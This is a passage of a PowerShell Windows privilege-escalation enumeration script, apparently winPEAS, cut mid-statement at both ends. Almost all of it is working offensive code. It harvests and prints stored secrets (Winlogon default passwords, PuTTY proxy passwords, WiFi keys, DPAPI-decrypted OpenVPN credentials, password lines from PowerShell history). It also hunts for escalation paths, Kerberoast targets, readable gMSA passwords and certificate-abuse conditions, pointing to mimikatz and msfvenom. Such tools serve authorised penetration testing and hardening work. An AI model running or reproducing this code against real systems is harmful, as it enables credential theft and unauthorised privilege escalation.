-ForegroundColor red } Default { "The system was unable to find the specified registry value: LsaCfgFlags" } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Cached WinLogon Credentials Check" if (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon") { (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CACHEDLOGONSCOUNT").CACHEDLOGONSCOUNT Write-Host "However, only the SYSTEM user can view the credentials here: HKEY_LOCAL_MACHINE\SECURITY\Cache" Write-Host "Or, using mimikatz lsadump::cache" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Additonal Winlogon Credentials Check" (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").DefaultDomainName (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").DefaultUserName (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").DefaultPassword (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").AltDefaultDomainName (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").AltDefaultUserName (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").AltDefaultPassword Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| RDCMan Settings Check" if (Test-Path "$env:USERPROFILE\appdata\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings") { Write-Host "RDCMan Settings Found at: $($env:USERPROFILE)\appdata\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" -ForegroundColor Red } else { Write-Host "No RDCMan.Settings found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| RDP Saved Connections Check" Write-Host "HK_Users" New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -ErrorAction SilentlyContinue Get-ChildItem HKU:\ -ErrorAction SilentlyContinue | ForEach-Object { # get the SID from output $HKUSID = $_.Name.Replace('HKEY_USERS\', "") if (Test-Path "registry::HKEY_USERS\$HKUSID\Software\Microsoft\Terminal Server Client\Default") { Write-Host "Server Found: $((Get-ItemProperty "registry::HKEY_USERS\$HKUSID\Software\Microsoft\Terminal Server Client\Default" -Name MRU0).MRU0)" } else { Write-Host "Not found for $($_.Name)" } } Write-Host "HKCU" if (Test-Path "registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default") { Write-Host "Server Found: $((Get-ItemProperty "registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" -Name MRU0).MRU0)" } else { Write-Host "Terminal Server Client not found in HCKU" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Putty Stored Credentials Check" if (Test-Path HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions) { Get-ChildItem HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions | ForEach-Object { $RegKeyName = Split-Path $_.Name -Leaf Write-Host "Key: $RegKeyName" @("HostName", "PortNumber", "UserName", "PublicKeyFile", "PortForwardings", "ConnectionSharing", "ProxyUsername", "ProxyPassword") | ForEach-Object { Write-Host "$_ :" Write-Host "$((Get-ItemProperty HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\$RegKeyName).$_)" } } } else { Write-Host "No putty credentials found in HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| SSH Key Checks" Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| If found:" Write-Host "https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/" -ForegroundColor Yellow Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking Putty SSH KNOWN HOSTS" if (Test-Path HKCU:\Software\SimonTatham\PuTTY\SshHostKeys) { Write-Host "$((Get-Item -Path HKCU:\Software\SimonTatham\PuTTY\SshHostKeys).Property)" } else { Write-Host "No putty ssh keys found" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for OpenSSH Keys" if (Test-Path HKCU:\Software\OpenSSH\Agent\Keys) { Write-Host "OpenSSH keys found. Try this for decryption: https://github.com/ropnop/windows_sshagent_extract" -ForegroundColor Yellow } else { Write-Host "No OpenSSH Keys found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for WinVNC Passwords" if (Test-Path "HKCU:\Software\ORL\WinVNC3\Password") { Write-Host " WinVNC found at HKCU:\Software\ORL\WinVNC3\Password" }else { Write-Host "No WinVNC found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for SNMP Passwords" if (Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\SNMP") { Write-Host "SNMP Key found at HKLM:\SYSTEM\CurrentControlSet\Services\SNMP" }else { Write-Host "No SNMP found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for TightVNC Passwords" if (Test-Path "HKCU:\Software\TightVNC\Server") { Write-Host "TightVNC key found at HKCU:\Software\TightVNC\Server" }else { Write-Host "No TightVNC found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| UAC Settings" if ((Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA -eq 1) { Write-Host "EnableLUA is equal to 1. Part or all of the UAC components are on." Write-Host "https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access" -ForegroundColor Yellow } else { Write-Host "EnableLUA value not equal to 1" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Recently Run Commands (WIN+R)" Get-ChildItem HKU:\ -ErrorAction SilentlyContinue | ForEach-Object { # get the SID from output $HKUSID = $_.Name.Replace('HKEY_USERS\', "") $property = (Get-Item "HKU:\$_\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue).Property $HKUSID | ForEach-Object { if (Test-Path "HKU:\$_\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU") { Write-Host -ForegroundColor Blue "=========||HKU Recently Run Commands" foreach ($p in $property) { Write-Host "$((Get-Item "HKU:\$_\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue).getValue($p))" } } } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========||HKCU Recently Run Commands" $property = (Get-Item "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue).Property foreach ($p in $property) { Write-Host "$((Get-Item "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue).getValue($p))" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Always Install Elevated Check" Write-Host "Checking Windows Installer Registry (will populate if the key exists)" if ((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer -ErrorAction SilentlyContinue).AlwaysInstallElevated -eq 1) { Write-Host "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer).AlwaysInstallElevated = 1" -ForegroundColor red Write-Host "Try msfvenom msi package to escalate" -ForegroundColor red Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#metasploit-payloads" -ForegroundColor Yellow } if ((Get-ItemProperty HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer -ErrorAction SilentlyContinue).AlwaysInstallElevated -eq 1) { Write-Host "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer).AlwaysInstallElevated = 1" -ForegroundColor red Write-Host "Try msfvenom msi package to escalate" -ForegroundColor red Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#metasploit-payloads" -ForegroundColor Yellow } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| PowerShell Info" (Get-ItemProperty registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine).PowerShellVersion | ForEach-Object { Write-Host "PowerShell $_ available" } (Get-ItemProperty registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine).PowerShellVersion | ForEach-Object { Write-Host "PowerShell $_ available" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| PowerShell Registry Transcript Check" if (Test-Path HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription) { Get-Item HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription } if (Test-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription) { Get-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription } if (Test-Path HKCU:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription) { Get-Item HKCU:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription } if (Test-Path HKLM:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription) { Get-Item HKLM:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| PowerShell Module Log Check" if (Test-Path HKCU:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging) { Get-Item HKCU:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging } if (Test-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging) { Get-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging } if (Test-Path HKCU:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging) { Get-Item HKCU:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging } if (Test-Path HKLM:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging) { Get-Item HKLM:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| PowerShell Script Block Log Check" if ( Test-Path HKCU:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging) { Get-Item HKCU:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging } if ( Test-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging) { Get-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging } if ( Test-Path HKCU:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging) { Get-Item HKCU:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging } if ( Test-Path HKLM:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging) { Get-Item HKLM:\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| WSUS check for http and UseWAServer = 1, if true, might be vulnerable to exploit" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus" -ForegroundColor Yellow if (Test-Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate) { Get-Item HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate } if ((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU -Name "USEWUServer" -ErrorAction SilentlyContinue).UseWUServer) { (Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU -Name "USEWUServer").UseWUServer } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Internet Settings HKCU / HKLM" $property = (Get-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -ErrorAction SilentlyContinue).Property foreach ($p in $property) { Write-Host "$p - $((Get-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -ErrorAction SilentlyContinue).getValue($p))" } $property = (Get-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -ErrorAction SilentlyContinue).Property foreach ($p in $property) { Write-Host "$p - $((Get-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -ErrorAction SilentlyContinue).getValue($p))" } ######################## PROCESS INFORMATION ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| RUNNING PROCESSES" Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking user permissions on running processes" Get-Process | Select-Object Path -Unique | ForEach-Object { Start-ACLCheck -Target $_.path } #TODO, vulnerable system process running that we have access to. Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| System processes" Start-Process tasklist -ArgumentList '/v /fi "username eq system"' -Wait -NoNewWindow ######################## SERVICES ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| SERVICE path vulnerable check" Write-Host "Checking for vulnerable service .exe" # Gathers all services running and stopped, based on .exe and shows the AccessControlList $UniqueServices = @{} Get-WmiObject Win32_Service | Where-Object { $_.PathName -like '*.exe*' } | ForEach-Object { $Path = ($_.PathName -split '(?<=\.exe\b)')[0].Trim('"') $UniqueServices[$Path] = $_.Name } foreach ( $h in ($UniqueServices | Select-Object -Unique).GetEnumerator()) { Start-ACLCheck -Target $h.Name -ServiceName $h.Value } ######################## UNQUOTED SERVICE PATH CHECK ############ Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for Unquoted Service Paths" # All credit to Ivan-Sincek # https://github.com/ivan-sincek/unquoted-service-paths/blob/master/src/unquoted_service_paths_mini.ps1 UnquotedServicePathCheck ######################## REGISTRY SERVICE CONFIGURATION CHECK ### Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking Service Registry Permissions" Write-Host "This will take some time." Get-ChildItem 'HKLM:\System\CurrentControlSet\services\' | ForEach-Object { $target = $_.Name.Replace("HKEY_LOCAL_MACHINE", "hklm:") Start-aclcheck -Target $target } ######################## SCHEDULED TASKS ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| SCHEDULED TASKS vulnerable check" #Scheduled tasks audit Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Testing access to c:\windows\system32\tasks" if (Get-ChildItem "c:\windows\system32\tasks" -ErrorAction SilentlyContinue) { Write-Host "Access confirmed, may need futher investigation" Get-ChildItem "c:\windows\system32\tasks" } else { Write-Host "No admin access to scheduled tasks folder." Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" } | ForEach-Object { $Actions = $_.Actions.Execute if ($Actions -ne $null) { foreach ($a in $actions) { if ($a -like "%windir%*") { $a = $a.replace("%windir%", $Env:windir) } elseif ($a -like "%SystemRoot%*") { $a = $a.replace("%SystemRoot%", $Env:windir) } elseif ($a -like "%localappdata%*") { $a = $a.replace("%localappdata%", "$env:UserProfile\appdata\local") } elseif ($a -like "%appdata%*") { $a = $a.replace("%localappdata%", $env:Appdata) } $a = $a.Replace('"', '') Start-ACLCheck -Target $a Write-Host "`n" Write-Host "TaskName: $($_.TaskName)" Write-Host "-------------" New-Object -TypeName PSObject -Property ([Ordered]@{ LastResult = $(($_ | Get-ScheduledTaskInfo).LastTaskResult) NextRun = $(($_ | Get-ScheduledTaskInfo).NextRunTime) Status = $_.State Command = $_.Actions.execute Arguments = $_.Actions.Arguments }) | Write-Host } } } } ######################## STARTUP APPLIICATIONS ######################### Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| STARTUP APPLICATIONS Vulnerable Check" "Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup" -ForegroundColor Yellow @("C:\Documents and Settings\All Users\Start Menu\Programs\Startup", "C:\Documents and Settings\$env:Username\Start Menu\Programs\Startup", "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup", "$env:Appdata\Microsoft\Windows\Start Menu\Programs\Startup") | ForEach-Object { if (Test-Path $_) { # CheckACL of each top folder then each sub folder/file Start-ACLCheck $_ Get-ChildItem -Recurse -Force -Path $_ | ForEach-Object { $SubItem = $_.FullName if (Test-Path $SubItem) { Start-ACLCheck -Target $SubItem } } } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| STARTUP APPS Registry Check" @("registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run", "registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce", "registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce") | ForEach-Object { # CheckACL of each Property Value found $ROPath = $_ (Get-Item $_) | ForEach-Object { $ROProperty = $_.property $ROProperty | ForEach-Object { Start-ACLCheck ((Get-ItemProperty -Path $ROPath).$_ -split '(?<=\.exe\b)')[0].Trim('"') } } } #schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa" ######################## INSTALLED APPLICATIONS ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| INSTALLED APPLICATIONS" Write-Host "Generating list of installed applications" #Get applications via Regsitry Get-InstalledApplications Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| LOOKING FOR BASH.EXE" Get-ChildItem C:\Windows\WinSxS\ -Filter "amd64_microsoft-windows-lxss-bash*" | ForEach-Object { Write-Host $((Get-ChildItem $_.FullName -Recurse -Filter "*bash.exe*").FullName) } @("bash.exe", "wsl.exe") | ForEach-Object { Write-Host $((Get-ChildItem C:\Windows\System32\ -Filter $_).FullName) } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| LOOKING FOR SCCM CLIENT" $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * -ErrorAction SilentlyContinue | Select-Object Name, SoftwareVersion if ($result) { $result } elseif (Test-Path 'C:\Windows\CCM\SCClient.exe') { Write-Host "SCCM Client found at C:\Windows\CCM\SCClient.exe" -ForegroundColor Cyan } else { Write-Host "Not Installed." } ######################## NETWORK INFORMATION ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| NETWORK INFORMATION" Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| HOSTS FILE" Write-Host "Get content of etc\hosts file" Get-Content "c:\windows\system32\drivers\etc\hosts" Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| IP INFORMATION" # Get all v4 and v6 addresses Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Ipconfig ALL" Start-Process ipconfig.exe -ArgumentList "/all" -Wait -NoNewWindow Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| DNS Cache" ipconfig /displaydns | Select-String "Record" | ForEach-Object { Write-Host $('{0}' -f $_) } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| LISTENING PORTS" # running netstat as powershell is too slow to print to console Start-Process NETSTAT.EXE -ArgumentList "-ano" -Wait -NoNewWindow ######################## ACTIVE DIRECTORY / IDENTITY MISCONFIG CHECKS ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| ACTIVE DIRECTORY / IDENTITY MISCONFIG CHECKS" $domainContext = Get-DomainContext if (-not $domainContext) { Write-Host "Host appears to be in a workgroup or the AD context could not be resolved. Skipping domain-specific checks." -ForegroundColor DarkGray } else { $ntlmStatus = Get-NtlmPolicySummary if ($ntlmStatus) { $recvValue = if ($ntlmStatus.RestrictReceiving -ne $null) { [int]$ntlmStatus.RestrictReceiving } else { -1 } $sendValue = if ($ntlmStatus.RestrictSending -ne $null) { [int]$ntlmStatus.RestrictSending } else { -1 } $lmValue = if ($ntlmStatus.LmCompatibility -ne $null) { [int]$ntlmStatus.LmCompatibility } else { -1 } $ntlmMsg = "Receiving:{0} Sending:{1} LMCompat:{2}" -f $recvValue, $sendValue, $lmValue if ($recvValue -ge 1 -or $sendValue -ge 1 -or $lmValue -ge 5) { Write-Host "[!] NTLM is restricted/disabled ($ntlmMsg). Expect Kerberos-only auth paths (sync time before Kerberoasting)." -ForegroundColor Yellow } else { Write-Host "[i] NTLM restrictions appear relaxed ($ntlmMsg)." } } $timeSkew = Get-TimeSkewInfo -DomainContext $domainContext if ($timeSkew) { $offsetAbs = [math]::Abs($timeSkew.OffsetSeconds) $timeMsg = "Offset vs {0}: {1:N3}s (sample: {2})" -f $timeSkew.Source, $timeSkew.OffsetSeconds, $timeSkew.RawSample.Trim() if ($offsetAbs -gt 5) { Write-Host "[!] Significant Kerberos time skew detected - $timeMsg" -ForegroundColor Yellow } else { Write-Host "[i] Kerberos time offset looks OK - $timeMsg" } } $dnsFindings = @(Get-WeakDnsUpdateFindings -DomainContext $domainContext) if ($dnsFindings.Count -gt 0) { Write-Host "[!] AD-integrated DNS zones allow low-priv principals to write records (dynamic DNS hijack / service MITM risk)." -ForegroundColor Yellow $dnsFindings | Format-Table Zone,Partition,Principal,Rights -AutoSize | Out-String | Write-Host } else { Write-Host "[i] No obvious insecure dynamic DNS ACLs found with current privileges." } $spnFindings = @(Get-PrivilegedSpnTargets -DomainContext $domainContext) if ($spnFindings.Count -gt 0) { Write-Host "[!] High-value SPN accounts identified (prime Kerberoast targets):" -ForegroundColor Yellow $spnFindings | Format-Table User,Groups -AutoSize | Out-String | Write-Host } else { Write-Host "[i] No privileged SPN users detected via quick LDAP search." } $gmsaReport = @(Get-GmsaReadersReport -DomainContext $domainContext) if ($gmsaReport.Count -gt 0) { $weakGmsa = $gmsaReport | Where-Object { $_.WeakPrincipals -ne "" } if ($weakGmsa) { Write-Host "[!] gMSA passwords readable by low-priv groups/principals: " -ForegroundColor Yellow $weakGmsa | Select-Object Account, WeakPrincipals | Format-Table -AutoSize | Out-String | Write-Host } else { Write-Host "[i] gMSA accounts discovered (review allowed readers below)." $gmsaReport | Select-Object Account, Allowed | Sort-Object Account | Select-Object -First 5 | Format-Table -Wrap | Out-String | Write-Host } } else { Write-Host "[i] No gMSA objects found via LDAP." } $adcsInfo = Get-AdcsSchannelInfo if ($adcsInfo.MappingValue -ne $null) { $hex = ('0x{0:X}' -f [int]$adcsInfo.MappingValue) if ($adcsInfo.UpnMapping) { Write-Host ("[!] Schannel CertificateMappingMethods={0} (UPN mapping allowed) - ESC10 certificate abuse possible if you can edit another user's UPN." -f $hex) -ForegroundColor Yellow } else { Write-Host ("[i] Schannel CertificateMappingMethods={0} (UPN mapping flag not set)." -f $hex) } if ($adcsInfo.ServiceState) { Write-Host ("[i] AD CS service state: {0}" -f $adcsInfo.ServiceState) } } else { Write-Host "[i] Could not read Schannel certificate mapping configuration." -ForegroundColor DarkGray } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| ARP Table" # Arp table info Start-Process arp -ArgumentList "-A" -Wait -NoNewWindow Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Routes" # Route info Start-Process route -ArgumentList "print" -Wait -NoNewWindow Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Network Adapter info" # Network Adapter info Get-NetAdapter | ForEach-Object { Write-Host "----------" Write-Host $_.Name Write-Host $_.InterfaceDescription Write-Host $_.ifIndex Write-Host $_.Status Write-Host $_.MacAddress Write-Host "----------" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for WiFi passwords" # Select all wifi adapters, then pull the SSID along with the password ((netsh.exe wlan show profiles) -match '\s{2,}:\s').replace(" All User Profile : ", "") | ForEach-Object { netsh wlan show profile name="$_" key=clear } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Enabled firewall rules - displaying command only - it can overwrite the display buffer" Write-Host -ForegroundColor Blue "=========|| show all rules with: netsh advfirewall firewall show rule dir=in name=all" # Route info Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| SMB SHARES" Write-Host "Will enumerate SMB Shares and Access if any are available" Get-SmbShare | Get-SmbShareAccess | ForEach-Object { $SMBShareObject = $_ # see line 70 for explanation of what this does whoami.exe /groups /fo csv | select-object -skip 2 | ConvertFrom-Csv -Header 'group name' | Select-Object -ExpandProperty 'group name' | ForEach-Object { if ($SMBShareObject.AccountName -like $_ -and ($SMBShareObject.AccessRight -like "Full" -or "Change") -and $SMBShareObject.AccessControlType -like "Allow" ) { Write-Host -ForegroundColor red "$($SMBShareObject.AccountName) has $($SMBShareObject.AccessRight) to $($SMBShareObject.Name)" } } } ######################## USER INFO ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| USER INFO" Write-Host "== || Generating List of all Local Administrators, Users and Backup Operators (if any exist)" # Code has been modified to accomodate for any language by filtering only on the output and not looking for a string of text # Foreach loop to get all local groups, then examine each group's members. Get-LocalGroup | ForEach-Object { "`n Group: $($_.Name) `n" if(Get-LocalGroupMember -name $_.Name){ (Get-LocalGroupMember -name $_.Name).Name } else{ " {GROUP EMPTY}" } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| USER DIRECTORY ACCESS CHECK" Get-ChildItem C:\Users\* | ForEach-Object { if (Get-ChildItem $_.FullName -ErrorAction SilentlyContinue) { Write-Host -ForegroundColor red "Read Access to $($_.FullName)" } } #Whoami Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| WHOAMI INFO" Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Check Token access here: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#abusing-tokens" Write-Host -ForegroundColor Blue "=========|| Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups" -ForegroundColor Yellow Start-Process whoami.exe -ArgumentList "/all" -Wait -NoNewWindow Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Cloud Credentials Check" $Users = (Get-ChildItem C:\Users).Name $CCreds = @(".aws\credentials", "AppData\Roaming\gcloud\credentials.db", "AppData\Roaming\gcloud\legacy_credentials", "AppData\Roaming\gcloud\access_tokens.db", ".azure\accessTokens.json", ".azure\azureProfile.json") foreach ($u in $users) { $CCreds | ForEach-Object { if (Test-Path "c:\Users\$u\$_") { Write-Host "$_ found!" -ForegroundColor Red } } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| APPcmd Check" if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe" -ForegroundColor Yellow Write-Host "$Env:SystemRoot\System32\inetsrv\appcmd.exe exists!" -ForegroundColor Red } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| OpenVPN Credentials Check" $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" -ErrorAction SilentlyContinue if ($Keys) { Add-Type -AssemblyName System.Security $items = $keys | ForEach-Object { Get-ItemProperty $_.PsPath } foreach ($item in $items) { $encryptedbytes = $item.'auth-data' $entropy = $item.'entropy' $entropy = $entropy[0..(($entropy.Length) - 2)] $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect( $encryptedBytes, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| PowerShell History (Password Search Only)" Write-Host "=|| PowerShell Console History" Write-Host "=|| To see all history, run this command: Get-Content (Get-PSReadlineOption).HistorySavePath" Write-Host $(Get-Content (Get-PSReadLineOption).HistorySavePath | Select-String pa) Write-Host "=|| AppData PSReadline Console History " Write-Host "=|| To see all history, run this command: Get-Content $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" Write-Host $(Get-Content 